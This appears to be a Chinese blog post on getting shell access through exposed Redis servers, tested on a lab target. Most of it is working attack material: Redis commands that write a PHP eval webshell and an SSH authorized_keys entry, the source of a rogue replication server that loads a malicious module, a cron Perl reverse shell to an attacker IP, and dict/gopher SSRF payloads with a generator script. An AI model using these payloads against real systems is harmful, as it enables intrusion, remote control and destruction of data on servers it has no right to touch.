摘要:redis中getshell的姿势总结。

redis有两种安装方法,一种以是通过apt-get install redis安装的,另外一种是下载源码包编译安装。第一种方式使用service redis-server start的方式启动,系统会以redis用户运行redis数据库,只有使用sudo /usr/bin/redis-server /etc/redis/redis.conf时系统才会以root用户运行redis。第二种方式进入/root/redis-5.0.7/src目录使用./redis-server ../redis.conf就会以当前登陆用户的身份运行redis。下面使用redis-5.0.7以及ubuntu 16.04做实验

redis写入木马

原理

通过将redis的dbfilename设置为 /www/admin/localhost_80/wwwroot 目录下的webshell.php文件,然后将木马保存到数据库完成写马。

前提条件

需要能够登陆redis数据库

getshell

# 进入靶机的redis-cli执行
config set dir /www/admin/localhost_80/wwwroot
set cl4y "\n\n\n<?php @eval($_POST['cl4y']);?>\n\n\n"
config set dbfilename webshell.php
save

redis拿shell1.jpg

redis拿shell2.jpg

redis拿shell3.jpg

写入公钥

原理

通过将redis的dbfilename设置为 /root/.ssh/authorized_keys 文件,然后向其中写入公钥来达到通过redis来get shell。

前提条件

需要能够登陆redis数据库,并且redis以root用户运行。同时需要在中配置/etc/ssh/sshd_config中配置

PermitRootLogin yes
RSAAuthentication yes
PubkeyAuthentication yes

getshell

# 注:192.168.1.10为靶机ip,6379为靶机redis数据库端口

# 攻击方运行
#vps生成一个公钥
ssh-keygen -t rsa
#将公钥写入靶机的key
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")  >  cl4y.txt
cat cl4y.txt | redis-cli -h 192.168.1.10 -p 6379 -x set cl4y #-x参数是将管道符之前的内容写入key

# 进入靶机的redis-cli执行
config set dir /root/.ssh/ #如果没有权限则无法getshell
config set dbfilename "authorized_keys"
get cl4y
save

# 在攻击方通过私钥连接靶机
ssh -i ~/.ssh/id_rsa root@192.168.1.10

redis拿shell4.jpg

Redis主从getshell

Redis 主从复制一键自动化RCE

原理

通过在本地虚拟一个redis数据库,然后将靶机的数据库设置成本地数据库的从数据库,来将恶意.so文件散布到靶机上。

前提条件

4.x-5.x版本的redis,实测3.0.9的不行。并且redis以root用户运行,反正本地5.0.7是可以getshell的

getshell

1.生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。

# 攻击方运行
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

2.攻击端执行: python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

# 注:192.168.1.10为靶机ip,6379为靶机redis数据库端口,192.168.1.137为攻击者ip

# 攻击方运行
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip3 install -r requirements.txt 
python3 redis-rce.py -r 192.168.1.10 -p 6379 -L 192.168.1.137 -f module.so

# 输入exit退出脚本,脚本会自己清除痕迹例如删除module.so,但是CONFIG GET dir忘记还原了变成了"/var/spool/cron/crontabs"

Redis主从复制手动

原理

通过在本地虚拟一个redis数据库,然后将靶机的数据库设置成本地数据库的从数据库,来将恶意.so文件散布到靶机上。

前提条件

4.x-5.x版本的redis,实测3.0.9的不行。并且redis以root用户运行,反正本地5.0.7是可以getshell的

getshell

1、编写脚本,构造恶意Redis服务器,监听本地端口1234,加载exp.so。

RogueServer.py在本地模拟一个redis数据库,在攻击端执行以下命令

# 攻击方运行
# python2.7环境
python2 RogueServer.py --lport 1234 --exp exp.so

RogueServer.py文件如下:

import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
    resp = ""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    conn,address = sock.accept()  
    sleep(5)
    while True:    
        data = conn.recv(1024)
        if "PING" in data:
            resp="+PONG"+CLRF
            conn.send(resp)
        elif "REPLCONF" in data:
            resp="+OK"+CLRF
            conn.send(resp)
        elif "PSYNC" in data or "SYNC" in data:
            resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            if type(resp) != bytes:
                resp =resp.encode()            
            conn.send(resp)    
        #elif "exit" in data:
            break


if __name__=="__main__":

    parser = OptionParser()                     
    parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")        
    parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")            

    (options , args )= parser.parse_args()
    lport = options.lp
    exp_filename = options.exp

    CLRF="\r\n"
    payload=open(exp_filename,"rb").read()
    print "Start listing on port: %s" %lport
    print "Load the payload:   %s" %exp_filename     
    RogueServer(lport)

脚本会上传一个叫module.so的文件到/var/spool/cron/crontabs文件下

redis拿shell6.jpg

这个脚本的原理 使用tcpdump分别抓包正常主从数据库备份使用脚本进行主从备份的tcp流就可以发现

tcpdump -s 0 -i eth0 port 6379 -w ./normal.pcap

左边为正常,右边为脚本模拟的

redis拿shell10.jpg

2、通过未授权访问连入要攻击的redis服务器。

进入靶机的redis-cli执行相关命令:

# 进入靶机的redis-cli执行

# 保存当前redis库的key到dump.rdb,数据备份
save

# 设置redis的备份路径为当前目录
config set dir ./

#设置备份文件名为module.so,默认为dump.rdb
config set dbfilename module.so

# 清空当前redis的所有的key-value,避免干扰
flushdb

# 设置模仿的redis主数据库IP和端口,靶机上的redis从数据库会备份攻击者的redis主数据库中的恶意模块
# 然后保存为本地的module.so文件,192.168.1.137为攻击者ip,1234为第一步中设置的端口
slaveof 192.168.1.137 1234

#此时恶意模块已经被传输到靶机上,加载恶意模块
module load ./module.so

#切断主从,关闭复制功能
slaveof no one 

#执行系统命令
system.exec 'whoami'

#反弹shell
system.rev 192.168.1.137 9999 #将shell反弹到攻击机的9999端口上

#通过dump.rdb文件恢复数据
config set dbfilename dump.rdb

#删除exp.so
system.exec 'rm ./module.so'

#卸载system模块的加载
module unload system

redis拿shell7.jpg

redis通过定时任务反弹shell

前提条件

需要能够登陆redis数据库,并且redis以root用户运行

由于在ubuntu下/var/spool/cron/crontabs/root文件进行修改后,要使用service cron restart重启定时服务。所以直接把定时任务写进/etc/crontab文件里。

关于crontab定时任务的用法

前提知识去看 ubuntu下crontab定时任务

getshell

然后在本地创建一个文件名为croncheshi2.py的文件
文件内容如下:

*/1 * * * * root perl -e 'use Socket;$i="ip";$p=65531;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

#注意换行符

redis拿shell9.jpg

因为ubuntu对/var/spool/cron/crontabs/root文文件的格式要求很严格,所以直接采用上面写入webshell的方式写入/etc/crontab会无法运行。即使能够写入格式正确的,也会因为/var/spool/cron/crontabs/root文件的权限必须是0600而导致定时任务不能运行,所以还是老老实实写/etc/crontab文件

例如:下面的就会报格式错误

redis拿shell5.jpg

这里采用Redis主从复制的方式

在攻击端运行以下命令:

python2 RogueServer.py --lport 1234 --exp croncheshi2.py

然后在进入靶机的redis-cli执行相关命令:

# 注:192.168.1.10为靶机ip,6379为靶机redis数据库端口,192.168.1.137为攻击者ip

127.0.0.1:6379> config set dir /var/spool/cron/crontabs
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> slaveof 192.168.1.137 1234

然后就可以反弹shell给攻击端了。

协议dict或者gopher

前置知识

Gopher 协议:在 HTTP 协议出现之前,是 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面 (个人觉得当作http来看待就行了)

Dict协议:dict是基于查询响应的TCP协议,在实际过程中和gopher协议效果相似但是会有一些区别

Gopher传输

nc -lvvp 4444
curl "gopher://127.0.0.1:4444/test"

我们来看看监听到的信息是什么

redis获取shell10.png

我们可以看到我们的信息是test但是最终接受到的是est,所以可以发现gopher协议在传输过程中第一个字符是会被吞掉的,所以我们在传输过程中第一个字符改成没有用的字符就可以了类似_ ,可以看到这样就正常了

redis获取shell11.png

dict协议

dict协议和gopher协议最大的区别就是 dict一次只能一句,因为dict协议传输数据之后会自动加一个QUIT ,同时dict的第一个字符不会被吞

nc -lvvp 4444
curl "dict://127.0.0.1:4444/test"

如图可以看到dict中第一个字符不会被吞,但是结尾会带一个QUIT

redis获取shell12.png

两张图放在一起对比一下:

redis获取shell13.png

这样对比就很明显了

原理

就是协议模仿redis-cli与redis-server进行交互。

redis获取shell14.png

set key3 didi3
# *3表示有三个参数 $3表示"set"字符个数 $4表示"key3"字符个数 $5表示"didi3"字符个数

利用dict协议反弹shell

#查看当前redis的相关配置
ssrf.php?url=dict://192.168.172.131:6379/info

#设置备份文件名
ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so

#连接恶意Redis服务器
ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234

#加载恶意模块
ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so

#切断主从复制
ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one

#执行系统命令,将靶机shell反弹给192.168.172.129:9999
ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999

利用gopher协议反弹shell

#设置文件名,连接恶意Redis服务器
gopher://192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.172.129%25201234%250d%250aquit

#加载exp.so,反弹shell
gopher://192.168.172.131:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.172.129%25209999%250d%250aquit

产生gopher的脚本如下:
python2版本:

#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"  # 使用的协议 
ip="192.168.189.208"
port="6379"   # 目标redis的端口号 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"   # shell的名字 
path="/var"      # 写入的路径
passwd=""   # 如果有密码 则填入
# 我们的恶意命令 
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

python3版本:

#!/usr/bin/env python3
# -*-coding:utf-8-*-

from urllib.parse import quote
protocol="gopher://"  # 使用的协议 
ip="192.168.189.208"
port="6379"   # 目标redis的端口号 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"   # shell的名字 
path="/var"      # 写入的路径
passwd=""   # 如果有密码 则填入
# 我们的恶意命令 
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += quote(redis_format(x))
    print(payload)

注意

上面的所有操作都会造成靶机redis数据库的数据丢失

附件

资料文档.rar

参考

Redis未授权getshell及修复方案 - SecPulse.COM | 安全脉搏
weblogic从ssrf到redis获取shell - qianxinggz - 博客园
Redis getshell 总结 | JrXnm' blog
redis未授权访问漏洞复现 - Lushun - 博客园
漏洞复现之Redis-rce - 木讷 - 博客园
Redis主从复制getshell技巧 - Bypass - 博客园
Redis Getshell方法总结 – 木头の小屋